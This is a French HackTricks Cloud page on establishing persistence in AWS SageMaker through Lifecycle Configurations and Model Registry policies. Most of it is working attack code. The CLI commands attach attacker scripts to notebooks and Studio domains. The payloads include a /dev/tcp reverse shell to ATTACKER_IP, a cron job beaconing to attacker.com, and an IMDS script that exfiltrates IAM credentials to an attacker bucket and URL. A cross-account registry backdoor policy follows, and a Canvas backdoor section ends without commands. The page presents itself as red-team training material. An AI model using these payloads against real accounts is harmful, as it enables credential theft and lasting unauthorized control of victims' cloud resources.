AWS - SageMaker Persistence
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Vue dâensemble des techniques de persistance
Cette section dĂ©crit des mĂ©thodes pour obtenir de la persistance dans SageMaker en abusant des Lifecycle Configurations (LCCs), y compris reverse shells, cron jobs, credential theft via IMDS, et SSH backdoors. Ces scripts sâexĂ©cutent avec lâIAM role de lâinstance et peuvent persister aprĂšs des redĂ©marrages. La plupart des techniques requiĂšrent un accĂšs rĂ©seau sortant, mais lâutilisation de services sur le AWS control plane peut nĂ©anmoins permettre de rĂ©ussir si lâenvironnement est en âVPC-onlyâ mode.
Tip
Remarque : SageMaker notebook instances sont essentiellement des instances EC2 gĂ©rĂ©es, configurĂ©es spĂ©cifiquement pour des charges de travail dâapprentissage automatique.
Autorisations requises
- Notebook Instances:
sagemaker:CreateNotebookInstanceLifecycleConfig
sagemaker:UpdateNotebookInstanceLifecycleConfig
sagemaker:CreateNotebookInstance
sagemaker:UpdateNotebookInstance
- Applications Studio:
sagemaker:CreateStudioLifecycleConfig
sagemaker:UpdateStudioLifecycleConfig
sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain
Configurer la Lifecycle Configuration sur les Notebook Instances
Exemples de commandes AWS CLI :
# Create Lifecycle Configuration*
aws sagemaker create-notebook-instance-lifecycle-config \
--notebook-instance-lifecycle-config-name attacker-lcc \
--on-start Content=$(base64 -w0 reverse_shell.sh)
# Attach Lifecycle Configuration to Notebook Instance*
aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc
Configurer une Lifecycle Configuration sur SageMaker Studio
Les Lifecycle Configurations peuvent ĂȘtre attachĂ©es Ă plusieurs niveaux et Ă diffĂ©rents types dâapplications dans SageMaker Studio.
Niveau du domaine Studio (tous les utilisateurs)
# Create Studio Lifecycle Configuration*
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-studio-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
# Apply LCC to entire Studio Domain*
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
Studio Space Niveau (Spaces individuels ou partagés)
# Update SageMaker Studio Space to attach LCC*
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
Types de configurations du cycle de vie des applications Studio
Les configurations du cycle de vie peuvent ĂȘtre appliquĂ©es spĂ©cifiquement Ă diffĂ©rents types dâapplications SageMaker Studio :
- JupyterServer: Exécute des scripts au démarrage du serveur Jupyter, idéal pour des mécanismes de persistance comme les reverse shells et les cron jobs.
- KernelGateway: SâexĂ©cute au lancement de lâapplication kernel gateway, utile pour la configuration initiale ou un accĂšs persistant.
- CodeEditor: Sâapplique au Code Editor (Code-OSS), permettant lâexĂ©cution de scripts au dĂ©marrage des sessions dâĂ©dition de code.
Exemple de commande pour chaque type :
JupyterServer
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-jupyter-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
KernelGateway
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
--studio-lifecycle-config-app-type KernelGateway \
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
CodeEditor
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-codeeditor-lcc \
--studio-lifecycle-config-app-type CodeEditor \
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
Critical Info:
- Lâattachement de LCCs au niveau du domaine ou de lâespace impacte tous les utilisateurs ou applications dans le pĂ©rimĂštre.
- NĂ©cessite des permissions Ă©levĂ©es (sagemaker:UpdateDomain, sagemaker:UpdateSpace) â gĂ©nĂ©ralement plus faisable au niveau de lâespace quâau niveau du domaine.
- Des contrĂŽles au niveau rĂ©seau (p. ex., strict egress filtering) peuvent empĂȘcher les reverse shells rĂ©ussis ou la data exfiltration.
Reverse Shell via Lifecycle Configuration
SageMaker Lifecycle Configurations (LCCs) exécutent des scripts personnalisés lorsque les instances de notebook démarrent. Un attaquant disposant des permissions peut établir un reverse shell persistant.
Payload Example:
#!/bin/bash
ATTACKER_IP="<ATTACKER_IP>"
ATTACKER_PORT="<ATTACKER_PORT>"
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
Cron Job Persistence via Lifecycle Configuration
Un attaquant peut injecter des cron jobs via des scripts LCC, garantissant lâexĂ©cution pĂ©riodique de scripts ou commandes malveillants, permettant une persistence furtive.
Payload Example:
#!/bin/bash
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
CRON_JOB="*/30 * * * * $CRON_CMD"
mkdir -p /home/ec2-user/SageMaker/.local_tasks
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
chmod +x $PAYLOAD_PATH
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
Credential Exfiltration via IMDS (v1 & v2)
Les configurations de lifecycle peuvent interroger lâInstance Metadata Service (IMDS) pour rĂ©cupĂ©rer des identifiants IAM et les exfiltrer vers un emplacement contrĂŽlĂ© par un attaquant.
Payload Example:
#!/bin/bash
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
# Exfiltrate via S3*
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
# Alternatively, exfiltrate via HTTP POST*
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
Persistance via la politique basée sur la ressource du Model Registry (PutModelPackageGroupPolicy)
Abusez la politique basĂ©e sur la ressource dâun SageMaker Model Package Group pour accorder Ă un principal externe des droits cross-account (p.ex., CreateModelPackage/Describe/List). Cela crĂ©e une porte dĂ©robĂ©e durable permettant de pousser des versions de modĂšle empoisonnĂ©es ou de lire les mĂ©tadonnĂ©es/artĂ©facts du modĂšle, mĂȘme si lâIAM user/role de lâattaquant dans le compte victime est supprimĂ©.
Required permissions
- sagemaker:CreateModelPackageGroup
- sagemaker:PutModelPackageGroupPolicy
- sagemaker:GetModelPackageGroupPolicy
Ătapes (us-east-1)
# 1) Create a Model Package Group
REGION=${REGION:-us-east-1}
MPG=atk-mpg-$(date +%s)
aws sagemaker create-model-package-group \
--region "$REGION" \
--model-package-group-name "$MPG" \
--model-package-group-description "Test backdoor"
# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
cat > /tmp/mpg-policy.json <<JSON
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowCrossAccountCreateDescribeList",
"Effect": "Allow",
"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
"Action": [
"sagemaker:CreateModelPackage",
"sagemaker:DescribeModelPackage",
"sagemaker:DescribeModelPackageGroup",
"sagemaker:ListModelPackages"
],
"Resource": [
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
]
}
]
}
JSON
# 3) Attach the policy to the group
aws sagemaker put-model-package-group-policy \
--region "$REGION" \
--model-package-group-name "$MPG" \
--resource-policy "$(jq -c . /tmp/mpg-policy.json)"
# 4) Retrieve the policy (evidence)
aws sagemaker get-model-package-group-policy \
--region "$REGION" \
--model-package-group-name "$MPG" \
--query ResourcePolicy --output text
Remarques
- Pour une vraie backdoor cross-account, restreignez Resource Ă lâARN du groupe spĂ©cifique et utilisez lâID de compte AWS de lâattacker dans Principal.
- Pour un dĂ©ploiement cross-account de bout en bout ou des lectures dâartifacts, alignez les grants S3/ECR/KMS avec lâattacker account.
Impact
- ContrĂŽle persistant cross-account dâun Model Registry group : lâattacker peut publier des versions de modĂšle malveillantes ou Ă©numĂ©rer/lire les mĂ©tadonnĂ©es des modĂšles mĂȘme aprĂšs que leurs entitĂ©s IAM ont Ă©tĂ© supprimĂ©es dans le victim account.
Backdoor cross-account du Model Registry Canvas (UpdateUserProfile.ModelRegisterSettings)
Exploiter les paramĂštres utilisateur de SageMaker Canvas pour rediriger silencieusement les Ă©critures du model registry vers un compte contrĂŽlĂ© par lâattacker en activant ModelRegisterSettings et en pointant CrossAccountModelRegisterRoleArn vers un attacker role dans un autre compte.
Permissions requises
- sagemaker:UpdateUserProfile sur le UserProfile cible
- Optionnel : sagemaker:CreateUserProfile sur un Domain que vous contrĂŽlez
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

